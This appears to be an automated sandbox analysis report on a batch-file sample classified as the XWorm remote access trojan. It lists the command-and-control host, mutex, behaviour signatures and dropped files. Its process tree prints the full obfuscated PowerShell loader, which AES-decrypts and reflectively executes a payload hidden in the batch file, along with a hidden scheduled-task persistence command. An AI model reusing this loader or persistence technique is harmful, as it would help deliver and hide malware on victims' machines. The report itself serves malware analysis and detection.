Analysis

  • max time kernel
    149s
  • max time network
    156s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260130-en
  • resource tags

    arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    08/02/2026, 14:36

General

  • Target
    iiii--.bat
  • Size 258KB
  • Sample260208-ryl3esft4f
  • SHA256 806c0e52c5343d9140e3c8fcb804e918f2a900896d664f3286d45ec2f4df5fab
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Family
  • xworm

Version
  • 3.0

C2
  • rmaa7-37443.portmap.host:37443

Mutex
  • HyHMCfgzRcyujrsS

Attributes
  • install_file

    USB.exe

aes.plain

Signatures

  • Detect Xworm Payload 1 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Xworm family
  • Badlisted process makes network request 2 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell and hide display window.

  • Loads dropped DLL 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 5 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\iiii--.bat iuhjguyuvb
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4648
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('PUvstVCcuQcj/1CKyaQj6RL/6zJ8fqEomjefDbl4VAk='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('e6ccCB0jOOQmeDt9VhBqVA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $LnEoZ=New-Object System.IO.MemoryStream(,$param_var); $OrWtg=New-Object System.IO.MemoryStream; $FMQGp=New-Object System.IO.Compression.GZipStream($LnEoZ, [IO.Compression.CompressionMode]::Decompress); $FMQGp.CopyTo($OrWtg); $FMQGp.Dispose(); $LnEoZ.Dispose(); $OrWtg.Dispose(); $OrWtg.ToArray();}function execute_function($param_var,$param2_var){ $ZXAIQ=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $edHYJ=$ZXAIQ.EntryPoint; $edHYJ.Invoke($null, $param2_var);}$fOARa = 'C:\Users\Admin\AppData\Local\Temp\iiii--.bat';$host.UI.RawUI.WindowTitle = $fOARa;$PLhdB=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($fOARa).Split([Environment]::NewLine);foreach ($NfWRr in $PLhdB) { if ($NfWRr.StartsWith(':: ')) { $twOSP=$NfWRr.Substring(3); break; }}$payloads_var=[string[]]$twOSP.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('iuhjguyuvb'));
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:5480
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_540_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_540.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:5268
      • C:\Windows\System32\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_540.vbs"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3448
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_540.bat" "
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:3972
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('PUvstVCcuQcj/1CKyaQj6RL/6zJ8fqEomjefDbl4VAk='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('e6ccCB0jOOQmeDt9VhBqVA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $LnEoZ=New-Object System.IO.MemoryStream(,$param_var); $OrWtg=New-Object System.IO.MemoryStream; $FMQGp=New-Object System.IO.Compression.GZipStream($LnEoZ, [IO.Compression.CompressionMode]::Decompress); $FMQGp.CopyTo($OrWtg); $FMQGp.Dispose(); $LnEoZ.Dispose(); $OrWtg.Dispose(); $OrWtg.ToArray();}function execute_function($param_var,$param2_var){ $ZXAIQ=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $edHYJ=$ZXAIQ.EntryPoint; $edHYJ.Invoke($null, $param2_var);}$fOARa = 'C:\Users\Admin\AppData\Roaming\startup_str_540.bat';$host.UI.RawUI.WindowTitle = $fOARa;$PLhdB=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($fOARa).Split([Environment]::NewLine);foreach ($NfWRr in $PLhdB) { if ($NfWRr.StartsWith(':: ')) { $twOSP=$NfWRr.Substring(3); break; }}$payloads_var=[string[]]$twOSP.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
            5⤵
            • Badlisted process makes network request
            • Command and Scripting Interpreter: PowerShell
            • Loads dropped DLL
            • Suspicious behavior: EnumeratesProcesses
            PID:4268

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        powershell.exe.log

        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
        • Size 3KB
        • SHA256 3fc98f1a0dd73c0067a28034a6d84e86b27418d68cc2fdf26345be6f4217dcf1
        • MD5 SHA1 SHA512 TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 de4258c096c103c710cb23765a4619cf7c1f7d7ab6619774fefdd69a69bd2db6
        • MD5 SHA1 SHA512 TLSH

        __PSScriptPolicyTest_x45uesq4.b0n.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_x45uesq4.b0n.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        tmpBFF0.tmp

        • Path C:\Users\Admin\AppData\Local\Temp\tmpBFF0.tmp
        • Size 100KB
        • SHA256 555ccb7ecd9ae52a75135fdd81ab443a49d5785b0621ed6468d28c4234e46ccc
        • MD5 SHA1 SHA512 SSDEEP TLSH

        startup_str_540.bat

        • Path C:\Users\Admin\AppData\Roaming\startup_str_540.bat
        • Size 258KB
        • SHA256 806c0e52c5343d9140e3c8fcb804e918f2a900896d664f3286d45ec2f4df5fab
        • MD5 SHA1 SHA512 SSDEEP TLSH

        startup_str_540.vbs

        • Path C:\Users\Admin\AppData\Roaming\startup_str_540.vbs
        • Size 115B
        • SHA256 3770f226c73ed75119e160bbb047c3eaecd38639150db5b28bf0111daf02f4a4
        • MD5 SHA1 SHA512 TLSH

        memory/4268-51-0x000001F473690000-0x000001F4736CA000-memory.dmp

        memory/4268-49-0x000001F4734A0000-0x000001F4734AE000-memory.dmp

        memory/5268-28-0x000001D0D3F30000-0x000001D0D3FE3000-memory.dmp

        memory/5268-27-0x000001D0D3F10000-0x000001D0D3F2C000-memory.dmp

        memory/5268-29-0x000001D0D3FF0000-0x000001D0D3FFA000-memory.dmp

        memory/5268-30-0x000001D0D4020000-0x000001D0D403C000-memory.dmp

        memory/5268-20-0x000001D0B71D0000-0x000001D0B71E0000-memory.dmp

        memory/5268-13-0x000001D0B71D0000-0x000001D0B71E0000-memory.dmp

        memory/5268-12-0x000001D0B71D0000-0x000001D0B71E0000-memory.dmp

        memory/5480-0-0x00000172EE4B0000-0x00000172EE4C0000-memory.dmp

        memory/5480-10-0x00000172F11D0000-0x00000172F1202000-memory.dmp

        memory/5480-48-0x00000172EE4B0000-0x00000172EE4C0000-memory.dmp

        memory/5480-9-0x00000172EE4A0000-0x00000172EE4A8000-memory.dmp

        memory/5480-8-0x00000172EE4B0000-0x00000172EE4C0000-memory.dmp

        memory/5480-7-0x00000172EE300000-0x00000172EE322000-memory.dmp